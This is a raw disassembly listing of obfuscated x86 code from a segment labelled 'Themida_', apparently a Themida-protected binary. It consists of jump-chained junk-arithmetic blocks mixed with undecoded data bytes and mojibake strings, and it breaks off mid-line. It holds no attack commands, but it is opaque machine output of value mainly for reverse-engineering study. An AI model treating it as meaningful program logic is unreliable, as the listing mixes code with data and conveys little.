--------------------------------------------------------------------------- loc_54A23C: ; CODE XREF: Themida_:0054890Dj push ecx jmp loc_546BEF ; --------------------------------------------------------------------------- dw 0F181h dd 19743FAh, 9AE9A5F3h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A24F: ; CODE XREF: Themida_:005487CBj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_54BFA4 ; --------------------------------------------------------------------------- dw 6851h dd 62DE11CDh, 3E9C159h, 2791E9h, 0C8B6600h, 47EBE924h dd 0BF570000h, 4, 6666C681h, 70E97745h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A287: ; CODE XREF: Themida_:00546E8Aj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx push 461Eh mov [esp], ebx mov ebx, 137A66EEh xor [esp+4], ebx pop ebx mov ebx, [esp] jmp loc_54F3CD ; --------------------------------------------------------------------------- dd 8924248Bh, 6850243Ch, 11E26107h, 4B940558h, 0C5050BFEh dd 895C5EBEh, 0EFC158C7h, 0E457E905h, 0D001FFFFh, 4AF7BE56h dd 15E92A6Fh, 0FF00007Bh, 669D1C77h, 241CD259h, 0C2E7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A2EE: ; CODE XREF: Themida_:0054842Dj push ebx mov ebx, 1C2F3C22h xor ebx, 6AAD0D2Dh xor ebx, 0F66378h mov ebp, ebx pop ebx jmp loc_54A20F ; --------------------------------------------------------------------------- dd 6624248Bh, 5724048Bh, 0BE565F54h, 508330F1h, 43E9DEF7h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A31F: ; CODE XREF: Themida_:0054EA7Aj push edx push ecx mov ch, 0D5h mov dl, ch mov ecx, [esp] add esp, 4 jmp loc_5466AF ; --------------------------------------------------------------------------- loc_54A333: ; CODE XREF: Themida_:005503D0j pop esp jmp loc_5465D5 ; --------------------------------------------------------------------------- loc_54A339: ; CODE XREF: Themida_:0054F768j shr eax, 0Ch xor eax, ecx push eax xchg edi, [esp] xchg edx, edi xchg esi, edx xchg ebx, esi not ebx xchg ebx, esi xor edx, esi xor esi, edx xor edx, esi xor edi, edx xor edx, edi xor edi, edx push 412Fh mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 jmp loc_54D58F ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4EC8359h, 54240C89h, 0F2BEE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A38A: ; CODE XREF: Themida_:0054C554j pop eax sub edi, 8108829h add eax, edi pop edi push eax sub dword ptr [esp], 72652D64h pop edx add edx, 72652D64h mov eax, [esp] add esp, 4 and eax, edx push dword ptr [esp] pop edx add esp, 4 shr eax, 18h xor eax, ecx xchg eax, ebp xor ebp, edx xor edx, ebp jmp loc_550C63 ; --------------------------------------------------------------------------- dd 4B951h, 0CA010000h, 24148759h, 1FC5815Ch, 5925AA27h dd 0F1B2C581h, 0BD559477h, 7BAE4AD4h, 0DA09092Dh, 0E9E80174h dd 20Fh, 0B8C380h, 0F4B450D3h, 0FE71EC80h, 0D1EC80C4h dd 0FEAFCC80h, 8EC80C4h, 5A58E328h, 0E8B151h, 240C8BCBh dd 81E18951h, 4C1h, 0D70CE900h, 0FEB8FFFFh, 0C170004Bh dd 0C32D08E0h, 3518E649h, 38A40F78h, 9C6B0540h, 15E97969h db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A43F: ; CODE XREF: Themida_:0054E016j sub esi, ecx pop ecx xor esi, 2AA809A1h add ecx, esi pop esi xchg ecx, [esp] pop esp or edx, eax shl edx, 1 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_54C599 ; --------------------------------------------------------------------------- dd 2C381h, 9BE90000h, 68FFFFD8h, 3AB0h, 89241C89h, 1B951E3h dd 816FCB38h, 146654C1h, 3A98E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A48E: ; CODE XREF: Themida_:0055237Fj mov [esp], esi push esp push dword ptr [esp] mov esi, [esp] jmp loc_54CBC4 ; --------------------------------------------------------------------------- db 81h, 0EDh, 19h dd 1006E7Eh, 0BB535DEFh, 4, 875BDF01h, 815C243Ch, 148F2404h dd 0E9554346h, 36EBh, 4EC81h, 34890000h, 2474FF24h, 48F5E04h dd 24248B24h, 0FF2434FFh, 2AE92434h, 8300000Bh, 77E904E8h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A4E7: ; CODE XREF: Themida_:00548D1Ej pop ebx sub esp, 4 jmp loc_54ED05 ; --------------------------------------------------------------------------- db 1 dd 24348BF0h, 0FFC570E9h, 0EE95FFFh, 83FFFFDAh, 48704C0h dd 57595C24h, 0A23C32BFh, 5FF93171h, 6B2568h, 243C8900h dd 635EE9h, 24348900h, 0C681E689h, 4, 4C681h, 34330000h dd 0EFC9E924h, 0C481FFFFh, 4, 0E9242C33h, 0FFFFEB29h, 8758C301h dd 248B241Ch, 0BB0F6624h, 0E99C2404h, 0FFFFC079h, 243CD35Ch dd 0FA91E99Ch, 0EC88FFFFh, 1119E9h, 0B9515D00h, 3C0F0B2Dh dd 8159CE29h, 8E7489C6h, 691A684Bh, 14890000h, 56E28924h dd 4763E9h, 89D68900h, 815A5EF5h, 846424EDh, 2C815525h dd 124h, 0B8505D00h, 56B40B28h, 84B67B2Dh, 0C9ED8135h dd 2943697Ch, 0C9C581C5h, 5843697Ch, 9CB68h, 243C8900h dd 332CE9h, 0DEF75800h, 19DDF681h, 0F6814872h, 0F508E015h dd 1693EE81h, 0EB810C60h, 64B21603h, 0FFDD3FE9h, 0E9E089FFh dd 773Fh, 8124348Bh, 4C4h, 1FE95100h, 5FFFFE8h, 74DA0909h dd 51E8015Dh, 654DE9h, 0C0ED8100h, 14AF457h, 0C0C581FDh dd 0E94AF457h, 0FFFFC877h, 9D1C77FFh, 24041158h, 0BFA7E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A62E: ; CODE XREF: Themida_:0054686Cj add esi, 4 xchg esi, [esp] pop esp push ecx mov ecx, esp jmp loc_54DB09 ; --------------------------------------------------------------------------- dd 5D2434FFh, 81E68956h, 4C6h, 4B95100h, 0E9000000h, 6BAh dd 2BF57h, 8D050000h, 2D512D57h, 3A792395h, 0FFCCDEE9h dd 0D8C581FFh, 891E247Bh, 0F1815DE9h, 24E776E2h, 1E21C181h dd 94E903B2h, 68000062h, 0FEh, 0E92434FFh, 0AEFh, 0E9240C8Bh dd 0FFFFDB70h, 34815553h, 0D92D4824h, 5B9DE91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6AA: ; CODE XREF: Themida_:005507D0j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx push 0FFFFFBFFh jmp loc_5503BA ; --------------------------------------------------------------------------- loc_54A6C1: ; CODE XREF: Themida_:00549B8Ej xchg ebp, [esp] pop esp mov [esp], edi jmp loc_54E258 ; --------------------------------------------------------------------------- loc_54A6CD: ; CODE XREF: Themida_:0054BFF3j push dword ptr [esp] jmp loc_5474E7 ; --------------------------------------------------------------------------- loc_54A6D5: ; CODE XREF: Themida_:00547669j push esi mov esi, edx jmp loc_549E18 ; --------------------------------------------------------------------------- db 81h, 0C6h, 72h dd 81451953h, 0E154EDE6h, 0B3F68118h, 0E93DD149h, 0FFFFF802h dd 8904EC83h, 4832424h, 48F0424h, 68535224h, 5E1C2773h dd 0BAEB815Bh, 8126FE22h, 1E04BDF3h, 5BDA8937h, 4245401h dd 28B7E9h, 0BBE95800h, 5FFFFD0h, 4EA392Bh, 2DC82959h dd 776348EFh, 6CB6E9h, 31C68100h, 0E933693Ch, 0FFFFF6CCh ; --------------------------------------------------------------------------- loc_54A744: ; CODE XREF: Themida_:0054C426j mov eax, 4 add ecx, eax pop eax jmp loc_546644 ; --------------------------------------------------------------------------- db 80h, 0F7h, 9Bh dd 3066B450h, 482C58E7h, 0B551F828h, 7CB65201h, 0C004EEC0h dd 0F68003EEh, 58FCE9D9h, 7D350000h, 83417037h, 148904ECh dd 0E9E28924h, 51D7h, 59C80159h, 0B60F66h, 20E95450h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A793: ; CODE XREF: Themida_:00547369j push edi push ecx jmp loc_549A9F ; --------------------------------------------------------------------------- dw 555Fh dd 0FFF094E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A7A1: ; CODE XREF: Themida_:0054D205j sub edx, 0F652E2C7h jmp loc_54B15B ; --------------------------------------------------------------------------- loc_54A7AC: ; CODE XREF: Themida_:005470D2j pop eax mov ebp, [esp] jmp loc_54E955 ; --------------------------------------------------------------------------- db 5Ah, 5Dh, 0E9h dd 7B0Ch ; --------------------------------------------------------------------------- loc_54A7BC: ; CODE XREF: Themida_:0054AA3Bj mov edi, ecx push dword ptr [esp] pop ecx jmp loc_550574 ; --------------------------------------------------------------------------- loc_54A7C7: ; CODE XREF: Themida_:005466F5j push edx jmp loc_54CAB5 ; --------------------------------------------------------------------------- loc_54A7CD: ; CODE XREF: Themida_:005471B0j push esi mov esi, 33035047h xor esi, 72413AE1h sub ebp, esi pop esi mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_54E0D6 ; --------------------------------------------------------------------------- db 5Dh, 83h, 0C2h dd 74FF5204h, 8F5A0424h, 248B2404h, 24040924h, 0C262E99Ch dd 34FFFFFFh, 24048B24h, 4C481h, 1BE90000h, 0BE000076h dd 0DB85AC7h, 0E959CE31h, 18E7h ; --------------------------------------------------------------------------- loc_54A824: ; CODE XREF: Themida_:0054EDFEj add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 3DEB135Dh or edx, 11D1999h jmp loc_549E44 ; --------------------------------------------------------------------------- dd 34FFEA89h, 60DEE924h, 0CA290000h, 0A7BB5359h, 17F2979h dd 0C2815BDAh, 6BE90140h, 0EA81C201h, 6BE90140h, 1ED7B951h dd 39E953A9h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A86B: ; CODE XREF: Themida_:0054A934j pop ecx sub edi, 18785BD8h sub edi, ebx add edi, 18785BD8h jmp loc_551A66 ; --------------------------------------------------------------------------- db 0F6h dd 6BC280D2h, 0E995C280h, 0FFFFFB64h, 8904EC83h, 0EC81243Ch dd 4, 81242489h, 42404h, 3C8B0000h, 5D7BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A8AA: ; CODE XREF: Themida_:005512CBj mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_54F7F4 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0E9010000h, 83242C8Bh, 0E95504C4h, 622h, 9D1C77FFh dd 24041958h, 64F0E99Ch, 5AD0000h, 479C532Bh, 2FEDBD55h dd 0F5810547h, 37446F27h, 38E5F581h, 0E8011045h, 0FFD223E9h dd 48B66FFh, 0E0895024h, 4EC81h, 0B5E90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A917: ; CODE XREF: Themida_:005476E7j push 6631h mov [esp], edx mov edx, esp add edx, 4 jmp loc_551068 ; --------------------------------------------------------------------------- loc_54A92C: ; CODE XREF: Themida_:0054B3CDj add ecx, 0D2A7E76h mov edi, ecx jmp loc_54A86B ; --------------------------------------------------------------------------- db 66h, 2Dh, 52h dd 3F68666Eh, 1C896678h, 92BB6624h, 0BA665245h, 81662B61h dd 663E25CAh, 0EA81664Ah, 5EE959C5h, 5200000Dh, 7C34E9h dd 2C38300h, 5C241C87h, 3040E9h, 55E08900h, 0C14DE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A97A: ; CODE XREF: Themida_:0054CB9Aj pop edx and eax, ebp jmp loc_54B40F ; --------------------------------------------------------------------------- dw 1C89h dd 0C9BF5724h, 814F727Fh, 0F4042444h, 12FFA3Dh, 5704247Ch dd 3DF4BE56h, 0F7892FFAh, 0FFF77FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A9A5: ; CODE XREF: Themida_:00550D10j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_54C401 ; --------------------------------------------------------------------------- db 56h, 50h, 68h dd 260355F8h, 0E924048Bh, 6FFAh, 4240483h, 0E9240C8Bh dd 0FFFFC399h ; --------------------------------------------------------------------------- loc_54A9D4: ; CODE XREF: Themida_:0054BB72j add esp, 4 jmp loc_5505AC ; --------------------------------------------------------------------------- dd 4C781h, 0C7810000h, 4, 5C243C87h, 2EB81h, 0EC810000h dd 4, 0FF241C89h, 5B042474h, 8B24048Fh, 89662424h, 0BCE9241Ch dd 66FFFFCBh, 68240C8Bh, 3BFBh, 54242C89h, 13ECE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA22: ; CODE XREF: Themida_:0054982Aj pop ecx xor ecx, 73731AF2h sub ecx, 75FB65E9h sub ecx, 93BAAF15h xor ecx, 4DA74A63h jmp loc_54A7BC ; --------------------------------------------------------------------------- dd 0E13AE9ACh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA46: ; CODE XREF: Themida_:0055186Bj mov esp, [esp] mov [esp], ecx mov ecx, esp jmp loc_548B26 ; --------------------------------------------------------------------------- db 5Eh dd 5AD6015Ah, 8102E6C1h, 8E97FAC6h, 22B951DCh, 29769100h dd 2B0559C8h, 13BA95Ah, 5A2B2DF0h, 22053BA9h, 5E769100h dd 31240433h, 4332404h, 0F665C24h, 9C2404B3h, 0FFBB44E9h dd 2434FFFFh, 0B4FE959h, 0D0010000h, 4EC81h, 19E90000h dd 0BAFFFFE8h, 0DB7C8BD4h, 315AD101h, 6147E9CBh, 0EF010000h dd 57C8C781h, 2C8B1C3Fh, 4C48324h, 0E9243C87h, 6EEEh ; --------------------------------------------------------------------------- loc_54AACC: ; CODE XREF: Themida_:0054F2BFj sub ebx, 297F16B0h jmp loc_54902B ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 240C335Ch, 33240C31h dd 815C240Ch, 2ECh, 14896600h, 246F6824h, 4890000h, 0CAB15124h dd 0FFD331E9h, 240C31FFh, 5258E9h, 4C18100h, 83000000h dd 0C8704C1h, 83525C24h, 0C8904ECh, 0B5515024h, 59E88885h dd 6858C588h, 0F15h, 88240489h, 58C688E8h, 3C64E9h db 0 ; --------------------------------------------------------------------------- loc_54AB45: ; CODE XREF: Themida_:0054EC6Ej push 5AD4h mov [esp], ebx sub esp, 4 mov [esp], edx mov edx, 10B840CFh or edx, 3FE369C8h add edx, 0FFFFFFFFh or edx, 79D617B3h push ecx mov ecx, 319C5644h sub edx, ecx pop ecx jmp loc_548372 ; --------------------------------------------------------------------------- loc_54AB78: ; CODE XREF: Themida_:0054FC49j pop ebp push edi mov edi, 4 add edx, edi jmp loc_54B6EB ; --------------------------------------------------------------------------- dw 0C189h dd 0C4F18158h, 0C11CE745h, 875105E1h, 0D7F7243Ch, 59243C87h dd 4E38E181h, 60E9125Ch, 8100003Fh, 8272E7F1h, 55D9F747h dd 974FFFBDh, 0E9D5F765h, 0FFFFC18Bh, 281681B8h, 0FE8B2D5Ah dd 0C509E671h, 8124048Bh, 4C4h, 0A5F58100h, 0E91F8760h dd 5A9Bh, 841D1DB9h, 9E9815Ah, 51DEE4E8h, 0FFCF69E9h, 20B951FFh dd 1000000h, 57DBE9F9h, 0EC810000h, 4, 89241C89h, 0D2C2E9E3h dd 815BFFFFh, 4ECh, 6673E900h, 8F580000h, 0C8E92404h, 66000067h dd 0B5240C89h, 3810E94Eh, 0F0280000h, 0E924148Bh, 82Fh dd 68241C89h, 5C81h, 81242489h, 42404h, 34FF0000h, 62CEE924h dd 8B590000h, 89572414h, 4C781E7h, 0E9000000h, 0FFFFE8AFh dd 0B7241C89h, 4F780A9h, 3181E9h db 0 ; --------------------------------------------------------------------------- loc_54AC6D: ; CODE XREF: Themida_:00550390j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ecx mov ecx, 463C309Dh add ecx, 31C642E1h or ecx, 421941B5h push ebx mov ebx, offset byte_412A83 jmp loc_550F76 ; --------------------------------------------------------------------------- loc_54AC9D: ; CODE XREF: Themida_:00551314j pop eax push eax jmp loc_548493 ; --------------------------------------------------------------------------- dd 0AB0F665Ch, 0E99C2404h, 0FFFFB925h ; --------------------------------------------------------------------------- loc_54ACB0: ; CODE XREF: Themida_:0054BBFEj push edi mov edi, esp jmp loc_55296D ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 24048124h, 4, 0E951525Fh, 1609h dd 1A7E6858h, 0C890000h, 6E406824h, 24890000h, 24048124h dd 4, 6BB4E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ACEE: ; CODE XREF: Themida_:0054FB66j add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 push edx push ebx mov ebx, 4488671Ah jmp loc_54C3EF ; --------------------------------------------------------------------------- dw 0E180h dd 4F58E915h, 0CE010000h, 83240C8Bh, 0E95604C4h, 3ED2h ; --------------------------------------------------------------------------- loc_54AD20: ; CODE XREF: Themida_:0054764Ej mov [esp], ecx jmp loc_550EFA ; --------------------------------------------------------------------------- dd 5AE9C301h, 81000033h, 4C3h, 74FF5300h, 0D7E90424h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD3F: ; CODE XREF: Themida_:0054BF3Aj add esp, 4 shr eax, 12h xor eax, ecx push 6768h mov [esp], eax xchg esi, [esp] jmp loc_5517CE ; --------------------------------------------------------------------------- dw 2E2Dh dd 1614A4Ch, 0B85058C2h, 3D73285Ah, 0BE71560Dh, 53D8F753h dd 0D50F7ABBh, 0E776E92Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD7A: ; CODE XREF: Themida_:0054E50Bj sub edx, edi jmp loc_54D49B ; --------------------------------------------------------------------------- db 53h, 68h, 6Eh dd 5B38A930h, 0BCC1F381h, 0E953E7A1h, 0FFFFCEADh ; --------------------------------------------------------------------------- loc_54AD94: ; CODE XREF: Themida_:00548D68j push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 7EE8h mov [esp], ebp push esi push 71D6h jmp loc_54E70D ; --------------------------------------------------------------------------- loc_54ADBA: ; CODE XREF: Themida_:00551EBEj push ecx mov ecx, 3A25680Eh add ecx, 0D8DD99B6h sub eax, ecx jmp loc_547E88 ; --------------------------------------------------------------------------- db 56h, 51h, 0E9h dd 0FFFFC01Fh, 2E10E681h, 0F68136F9h, 1EBF22B3h, 315EF131h dd 6DCFE9C8h, 33660000h, 31662434h, 68662434h, 89662800h dd 31662434h, 33662414h, 31662414h, 0F7662414h, 286866D2h dd 0EFF5E94Ch, 0C8BFFFFh, 4C48124h, 0E9000000h, 0FFFFB7B5h dd 0ADCB8166h, 0F3816600h, 816617B4h, 6629A4E3h, 6606EBC1h dd 6A1CCB81h, 0B8665066h, 38E9D400h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE43: ; CODE XREF: Themida_:0054B85Bj mov [esp], ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1B6A2340h sub edx, 0CB480DE1h jmp loc_550D2A ; --------------------------------------------------------------------------- dw 0DBF7h dd 25B8CB81h, 0F38166E9h, 79E91C61h, 4591E381h, 0EB815F83h dd 1F02018Ch, 815BDA01h, 4C2h, 24148700h, 5B3E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE9A: ; CODE XREF: Themida_:0054F4F8j sub dh, 25h add dh, bh add dh, 25h pop ebx xor al, dh mov edx, [esp] push edi jmp loc_547745 ; --------------------------------------------------------------------------- loc_54AEAE: ; CODE XREF: Themida_:00548012j push eax jmp loc_548777 ; --------------------------------------------------------------------------- loc_54AEB4: ; CODE XREF: Themida_:0054F3D3j push edi mov edi, 137A66EEh xor ebx, edi mov edi, [esp] jmp loc_547D7C ; --------------------------------------------------------------------------- dd 4BE5657h, 89000000h, 0FE015EF7h, 0A2BD555Fh, 4D24290Ah dd 3F3BC581h, 0E5810B1Ch, 2A23DF5h, 17ED814Dh, 81680332h dd 32848C5h, 5DEE0166h, 63B8E956h, 2BD0000h, 1000000h dd 242C8BE9h, 4C481h, 0C870000h, 65E95C24h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF13: ; CODE XREF: Themida_:0054912Dj push ecx push ebx mov ebx, 1D1301BEh sub ebx, 0D60DBED9h mov ecx, ebx pop ebx shr ecx, 1 xor ecx, 5D976D47h neg ecx add ecx, 7EF0895Dh sub ebx, ecx pop ecx mov ecx, ebx pop ebx jmp loc_549FFC ; --------------------------------------------------------------------------- loc_54AF3E: ; CODE XREF: Themida_:00550C85j mov [esp], eax jmp loc_5470CA ; --------------------------------------------------------------------------- dw 95BFh dd 13A7923h, 8D2D5FF8h, 0FF512D57h, 40E92434h, 89000023h dd 0E9512404h, 0FFFFDBA7h, 2F34E2BBh, 87CB8177h, 811DC31Eh dd 7856C5EBh, 5BD9298Fh, 159CD29h, 242C8BEFh, 8704C483h dd 94E9243Ch, 8B000017h, 0C481242Ch, 4, 3DD0B951h, 0E9496E59h dd 427Eh ; --------------------------------------------------------------------------- loc_54AFA0: ; CODE XREF: Themida_:0054F908j push esi pop ebp pop esi sub edi, ebp jmp loc_546A1E ; --------------------------------------------------------------------------- dw 8F64h dd 0CA59E902h, 2BEFFFFh, 81000000h, 300F9CE9h, 83F10117h dd 148904ECh, 2A35BA24h, 0D2F76F56h, 0AB0EA81h, 0E2C17B98h dd 4CF28103h, 0E9BFBE57h, 0FFFFE12Ch, 0E924048Fh, 0FFFFCA64h dd 8B241487h, 0C892424h, 0E444E924h, 29BAFFFFh, 2138673Dh dd 0F1815AD1h, 108C4F43h, 57E1E9h, 54565800h, 4C6815Eh dd 50000000h, 5BBAE9h, 24048F00h, 3122E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B022: ; CODE XREF: Themida_:0054980Bj and edx, 0FC1510Dh push ebx mov ebx, 145FC8h jmp loc_547358 ; --------------------------------------------------------------------------- db 81h dd 1C5h, 0BB535600h, 557B7798h, 0E95BDE89h, 55F6h, 81242C8Bh dd 4C4h, 0EC835500h, 24348904h, 6D343DBEh, 0D79FE97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B062: ; CODE XREF: Themida_:005485CBj sub ebx, 630165E2h jmp loc_550901 ; --------------------------------------------------------------------------- loc_54B06D: ; CODE XREF: Themida_:005478C0j pop esi mov esi, edi pop edi xor esi, ebp pop ebp and ecx, esi mov esi, [esp] jmp loc_54B47F ; --------------------------------------------------------------------------- aLVsjh db '▀,$VИ├H',0 db 0 ; --------------------------------------------------------------------------- loc_54B087: ; CODE XREF: Themida_:005514FBj add dword ptr [esp], 4 pop ecx push esi mov esi, 4 sub ecx, 7E8719Fh add ecx, esi add ecx, 7E8719Fh pop esi push eax mov eax, 2 add ecx, eax pop eax xor ecx, [esp] jmp loc_54E541 ; --------------------------------------------------------------------------- db 0BEh, 82h, 28h dd 0CE816EABh, 7BA61CF7h, 0DE9DEF7h, 51FFFFFDh, 42C5E9h dd 240C8900h, 0ED8068B5h, 4ACFE9F0h, 51520000h, 27B368h dd 0CF54E900h, 1C8BFFFFh, 4C48324h, 405h, 24048700h, 24248Bh dd 0E95966C8h, 62FCh, 1246486h, 6486D4F6h, 59660124h, 8B66EA88h dd 0C483240Ch, 6DB15102h, 0FFB8BEE9h, 73F0BBFFh, 0D3F77B6Dh dd 0C1D3F74Bh, 0E3C105EBh, 0DCC38107h, 816D6080h, 2C0DB1F3h dd 3E3C147h, 3881CB81h, 0CB811E16h, 76901C29h, 1BC381h dd 0C7810029h, 5E7E4915h, 7E9DF01h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B15B: ; CODE XREF: Themida_:0054A7A7j mov [edi+20h], edx pop edx shr dword ptr [edi+20h], 5 shr dword ptr [edi+20h], 5 xor dword ptr [edi+20h], 6DC91AFEh jmp loc_548903 ; --------------------------------------------------------------------------- aSBWd1Sg db 9,'И]│а&wd]1кИ┐]',0 dw 5B00h dd 60E9h, 241C8B00h, 81E18951h, 4C1h, 4C18100h, 87000000h dd 575C240Ch, 0FFBC32E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1A5: ; CODE XREF: Themida_:00546F79j add ebp, 1EF14FE4h sub ebp, ecx jmp loc_54DD30 ; --------------------------------------------------------------------------- dw 0E6C0h dd 688EE902h, 0C890000h, 0E5685224h, 0E964D461h, 5094h dd 40B3BE56h, 0B0E959F8h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B1D3: ; CODE XREF: Themida_:00548C6Cj mov esp, [esp] push 7E85h mov [esp], ebp push esi jmp loc_54FD3F ; --------------------------------------------------------------------------- dd 0FFB3ECE9h, 0E68956FFh, 4C681h, 0C6830000h, 24348704h dd 1C5F215Ch, 5B2434FFh, 4C19E9h, 4C48300h, 27268h, 24048900h dd 0FFEC7CE9h, 0C9E95CFFh, 89FFFFDBh, 0C0F5E9E3h, 0E681FFFFh dd 44D864C3h, 8106E6C1h, 0AB0582F6h, 48EA817Ch, 81692E3Ch dd 790947C2h, 81F22904h, 790947EAh, 0A6BB5304h, 0C1340A5Ah dd 0B85003E3h, 0C8DB6718h, 158C301h, 0E95E5BDAh, 0FFFFDB0Dh ; --------------------------------------------------------------------------- loc_54B260: ; CODE XREF: Themida_:0054C710j mov esi, 4 add ecx, esi jmp loc_54E769 ; --------------------------------------------------------------------------- dd 27240481h, 297AB729h, 2C812404h, 0B7292724h, 2CD8687Ah dd 1C890000h, 0BEB95124h, 89361C20h, 240C8BCBh, 4C481h dd 0A1E90000h, 0E9000057h, 0FFFFB335h, 0E9242C33h, 6E8Eh dd 1A9CE958h, 0CE010000h, 0FEEE8159h, 0E904EEE5h, 605Dh dd 0E92434FFh, 0B12h ; --------------------------------------------------------------------------- loc_54B2C4: ; CODE XREF: Themida_:0054FE60j mov edi, eax push ebp push esi mov esi, edi mov ebp, esi pop esi mov ebx, ebp pop ebp jmp loc_548B3A ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 0D259669Dh, 0E99C2414h, 0FFFFB2F1h, 6DF5CA81h, 1CE9481Eh dd 0B5000050h, 0B9C58060h, 0D9E9h db 0 ; --------------------------------------------------------------------------- loc_54B2F9: ; CODE XREF: Themida_:0054E2F5j and eax, ecx mov ecx, [esp] sub esp, 4 mov [esp], esi jmp loc_548AA5 ; --------------------------------------------------------------------------- loc_54B309: ; CODE XREF: Themida_:0054DD36j pop ecx xor esi, ebp jmp loc_54BF7F ; --------------------------------------------------------------------------- aCIUS2i db 'CяКаЦ',8,'И2I',0 align 4 dd 240C8B66h, 2A90E955h, 0C7810000h, 0A8334AFFh, 4E5FFE89h dd 15CEE81h, 814E0616h, 0B9E014C6h, 5EF1315Dh, 0C159CB89h dd 0F38107EBh, 556C3106h, 0E05FE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B352: ; CODE XREF: Themida_:0054F48Dj or ebp, ecx pop ecx jmp loc_54BCF5 ; --------------------------------------------------------------------------- dw 0C683h dd 4EC8104h, 0E9000000h, 62DCh, 31242C33h, 2C33242Ch, 24248B24h dd 6348E952h, 89520000h, 4C281E2h, 81000000h, 4EAh, 24143300h dd 33241431h, 0C9E92414h, 5AFFFFD8h, 0B62C181h, 12E947ADh dd 8BFFFFBEh, 0C483243Ch, 0A843504h, 0D8F74421h, 5677C35h dd 0E13CE928h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B3BA: ; CODE XREF: Themida_:005509F9j pop ecx push ecx inc dword ptr [esp] mov ecx, [esp] add esp, 4 sub ecx, 5AFC20BCh not ecx jmp loc_54A92C ; --------------------------------------------------------------------------- dw 0EB80h dd 80EB0066h, 11E966C3h, 0FF000050h, 3DE92434h, 56000035h dd 0B879A1BEh, 3E6C179h, 5CECF681h, 0F74E47D5h, 0F7564ED6h dd 0E95E2414h, 74C9h ; --------------------------------------------------------------------------- loc_54B404: ; CODE XREF: Themida_:0054EF9Bj add esp, 4 jmp loc_54DB8B ; --------------------------------------------------------------------------- loc_54B40F: ; CODE XREF: Themida_:0054A97Dj pop ebp push ecx mov ecx, 1571641Eh or eax, ecx pop ecx sub eax, 0FFFFFFFFh xor eax, 1D7164A0h sub esp, 4 mov [esp], esi mov esi, eax mov edi, esi mov esi, [esp] jmp loc_551CD2 ; --------------------------------------------------------------------------- db 50h, 5Dh, 8Bh dd 0C4832404h, 1C6F0904h, 6F5AE9h, 241C8700h, 0FFE1C2E9h dd 8E1C1FFh, 0B86FE956h, 0C89FFFFh, 2454F624h, 35E95901h dd 8100002Fh, 4C4h, 50516600h, 1A4FE9h, 0A4EB8100h, 4B3D2E09h dd 94E9E3D1h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B47F: ; CODE XREF: Themida_:0054B079j push eax push esp jmp loc_54EDAD ; --------------------------------------------------------------------------- dw 0BB53h dd 20F77355h, 0E95BDA89h, 0FFFFF8EDh ; --------------------------------------------------------------------------- loc_54B494: ; CODE XREF: Themida_:0054D08Aj mov edi, ebx jmp loc_54EE19 ; --------------------------------------------------------------------------- db 89h dd 89E959CAh, 81FFFFE8h, 0AD242Ch, 2C811222h, 873E724h dd 242C8173h, 60735064h, 81240401h, 50642404h, 0A4686073h dd 89000018h, 0E7BE2434h, 1730873h, 0E9042474h, 0FFFFB4A2h dd 32190BBBh, 5BD93117h, 791EBD55h, 